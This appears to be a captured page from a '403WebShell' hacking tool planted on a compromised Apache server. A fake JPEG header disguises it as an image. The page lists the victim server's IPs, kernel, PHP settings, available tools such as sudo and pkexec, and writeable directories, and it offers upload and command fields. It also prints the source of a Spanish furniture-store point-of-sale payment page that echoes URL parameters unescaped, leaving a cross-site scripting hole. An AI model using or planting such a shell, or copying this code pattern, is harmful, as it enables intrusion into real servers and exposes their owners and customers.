����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.15.148.76
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/pos11/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/pos11/core/app/view/makepayment-view.php
<?php

$client = PersonData::getById($_GET["id"]);

//print_r($client);

//obtenemos el total de la  venta y el enganche
$venta = SellData::getByIdSaleClient($client->contract);

//print_r($venta);


 $sell = $venta->total;
$enganche = $venta->disc_rp;
   
	$totalDeuda= 0;
	$i=0;
	
	 $dateF = PaymentData::ClientPayByContractEfe($client->contract);
		  //
	if(isset($dateF)){
			$dateF->created_at;
	}else{
				//pago programado PAGADO
				 $dateFP = PaymentData::ClientPayByContProgPagado($client->contract);
				 
				//si existe
				if(isset($dateFP)){
					
				$totalDeuda = $sell - $dateFP->val;
				//si no existe
			}else{
				$totalDeuda = $sell;
			}
			
			}
	
   $users = PaymentData::getAllByClientId2($client->contract);
	foreach($users as $user){
		  $totalDeuda +=$user->val;
		// echo $i++;	
	}
	
	//si hay enganche lo descontamos
		   //sacamos el enganche 
	  $date = PaymentData::ClientPayByContractProg($client->contract);
	   

    $totalT = PaymentData::sumByClientId2($client->contract)->total;
			//obtenemos los abonos
			$abonos = PaymentData::sumByClientId($client->contract)->total;
			$saldo = PaymentData::sumByClientId2($client->contract)->total;
			
			$saldo=$totalT-$abonos;
		//obtenemos datos de la tabla collection_data
$collection_data = PaymentData::getByIdCollection($_GET["id"]);

$date = date("Y-m-d");

//cobradores por ruta

?>

<div class="container">
	<div class="row">
		<div class="col-md-24">
			
			<h1>Realizar Pago</h1>
			<br>
		 			
		<div class="col-md-8 col-md-offset-2">
				<div class="card">
					<div class="card-body">
				
				
				<div class="form-group">
					<label for="inputEmail1" class="col-lg-12 control-label">Fecha de cobro</label>
					<div class="col-md-12">
					  <input type="date" name="created_pay" min="2018-01-01" max="2035-12-31" class="form-control" id="created_pay"  value="<?php echo $date;?>" required>
					</div>
				</div>
				  <?php 
					$collectors = PersonData::getAllCollector();
					
					//print_r($collectors);
				  ?>
				  <div class="form-group">
					<label for="inputEmail1" class="col-lg-12 control-label">cobrador</label>
						<div class="col-md-12">
							<select name="id_collector" id="id_collector" class="form-control">
									<option value="0">-- OFICINA --</option>
									<?php foreach($collectors as $category):?>
									  <option value="<?php echo $category->id_cust;?>"><?php echo $category->name;?></option>
									<?php endforeach;?>
							</select>    
						</div>
				  </div>

				  <div class="form-group">
					<label for="inputEmail1" class="col-lg-12 control-label">Tipo Pago</label>
						<div class="col-md-12">
							<select name="type_pay" id="type_pay" class="form-control">
								<option value="0">--Abono--</option>
								<option value="1">Enganche</option>
							</select>    
						</div>
				  </div>

				  <div class="form-group">
					<label for="inputEmail1" class="col-lg-12 control-label">Cliente</label>
					<div class="col-md-12">
					  <input type="text" name="" id="product_code" class="form-control" id="barcode" placeholder="Cliente" value="<?php echo $client->name; ?>" readonly>
					  <input type="hidden" name="client_id" id="client_id" class="form-control"  value="<?php echo $client->contract; ?>">
					</div>
				  </div>
				  <div class="form-group">
					<label for="inputEmail1" class="col-lg-12 control-label">Total adeudado</label>
					<div class="col-md-12">
					  <input type="text" name="" id="total_deuda" class="form-control" placeholder="Total adeudado" value="$ <?php echo $totalDeuda; ?>" readonly>

					  <input type="hidden" name="" id="total_venta" class="form-control"  value="<?php echo $sell; ?>">

					<label for="inputEmail1" class="col-lg-12 control-label">Pago minimo</label>
					 
					 <input type="text" name="pay_min" id="pay_min" class="form-control" value="<?php echo $collection_data->min_pay; ?>" readonly>

					</div>
				  </div>
				   <?php if(isset($_GET["credito"])): ?>
						  <input type="hidden" name="id" id="id" class="form-control" value="<?php echo $_GET["sell"]; ?>">
						  <input type="hidden" name="money" id="money" class="form-control" value="<?php echo $_GET["money"]; ?>">
							<input type="hidden" name="money1" id="money1" class="form-control" value="<?php echo $_GET["money1"]; ?>">
							<input type="hidden" name="f_id" id="f_id" class="form-control" value="<?php echo $_GET["f_id"]; ?>">
							<input type="hidden" name="codef_id" id="codef_id" class="form-control" value="<?php echo $_GET["codef_id"]; ?>">
				   <?php endif; ?>

				  <div class="form-group">
					<label for="inputEmail1" class="col-lg-12 control-label">Pago a Recibir*</label>
					<div class="col-md-12">
					  <input type="text" name="val" required id="val"  id="val" class="form-control" placeholder="Pago a recibir">
					</div>
				  </div>


				  <div class="form-group">
					<div class="col-lg-offset-2 col-lg-10">
					  <button  id="btnsavetrans" type="submit" class="btn btn-primary">Realizar Pago</button>
					  <a href="./?view=credit" class="btn btn-danger">Cancelar</a>
					</div>
				  </div>

					</div>
				</div>
			</div>

		
		</div>	
		
	</div>


</div>

<script>
  $(document).ready(function(){
	  
	  //auto enfoque a input pago minimo
	  $pagomin = document.querySelector("#val");
	  $pagomin.focus();
	  
    $("#addpayment").submit(function(e){
      total = $("#total").val();
      val = $("#val").val();
      if( val!="" && val>0 ){
        console.log(total);
        if(parseFloat(val)<=parseFloat(total)){
          // procesamos
          go = confirm("Esta seguro que desea continuar?");
          if(!go){ e.preventDefault(); }
        }else{
        alert("No es posible ingresar un pago mayor a la deuda total.")
        e.preventDefault();          
        }

      }else{
        alert("Debes ingresar un valor mayor que 0.")
        e.preventDefault();
      }
    });
	
});

//agregamos pago
$(document).on("click","#btnsavetrans",function()
{	
	$("#btnsavetrans").prop('disabled', true);
	
	
	console.log("proceso para abonar ");
		
		
	var val = $("#val").val();
	
	
	if(val == '' || val == null)
	{
		console.log("condicion null o campo vacio ");
		
		
		$.notify({
			message: "El pago minimo es requerido"
		},{
			type: 'warning',
			delay: 5000,
		});
		return;
	}else{
			$("#btnsavetrans").prop('disabled', false);

		
	}
	
	
	var created_pay = $("#created_pay").val();
	var id_collector = $("#id_collector").val();
	var type_pay = $("#type_pay").val();
	//nombre cliente
	var product_code = $("#product_code").val();
	var client_id = $("#client_id").val();
	var pay_min = $("#pay_min").val();
	
	swal({   
		title: "Pago",   
		text: "Guardar Pago / Abono ??",   
		type: "warning",   
		showCancelButton: true,   
		confirmButtonColor: "#DD6B55",   
		confirmButtonText: "Guardar",   
		closeOnConfirm: true }, 
		function(){   
			$("#btnsavetrans").prop('disabled', true);
			//proccess_waiting("#infoproccesspayment");
		
			var value = {
				created_pay : created_pay,
				id_collector : id_collector,
				type_pay : type_pay,
				product_code : product_code,
				client_id : client_id,
				pay_min : pay_min,
				val : val,
				method : "save_pay"
			};
			$.ajax(
			{
				url : "./index.php?action=addpayment",
				type: "POST",
				data : value,
				success: function(data, textStatus, jqXHR)
				{
					$("#btnsavetrans").prop('disabled', false);
					
					
							
					var data = jQuery.parseJSON(data);
					
					console.log(data.result);
					
					if(data.result == false){
					$.notify({
								message: " Engache Ya Pagado, revise datos "
							},{
								type: 'danger',
								delay: 5000,
							});
							return;
					}
					if(data.result == true){
						var xid_sales = data.xsale_id;
			
					
							 var mapForm = document.createElement("form");
									mapForm.target = "Map";
									mapForm.method = "POST"; // or "post" if appropriate
									mapForm.action = "index.php?view=onesell";
									
									var mapInput = document.createElement("input");
									mapInput.type = "hidden";
									mapInput.name = "id_sales";
									mapInput.value = xid_sales;
									mapInput.visibility = true;
									mapForm.appendChild(mapInput);
									
									document.body.appendChild(mapForm);

									map = window.open("", "Map", "status=0,title=0,height=600,width=800,scrollbars=1");

								if (map) {
									mapForm.submit();
								} else {
									$.notify({
										message: " Revisar Tabla "
									},{
										type: 'Debes permitir ventanas emergentes para que puedas imprimir ticket',
										delay: 5000,
									});
									
								}
						
							
							$.notify({
								message: " Venta Registrada "
							},{
								type: 'info',
								delay: 1000,
							});
							
							window.open("./index.php?view=credit");
							
					
					}else{
						$.notify({
							message: "Error enganche revise, error :"+data.mensaje
						},{
							type: 'danger',
							delay: 10000,
						});		
					}

				},
				error: function(jqXHR, textStatus, errorThrown)
				{
					console.log("Error General!!!!");
					$("#infoproccesspayment").html("");
					$("#btnsavetrans").prop('disabled', false);
				}
			});
	});	

})

</script>
</section>

Youez - 2016 - github.com/yon3zu
LinuXploit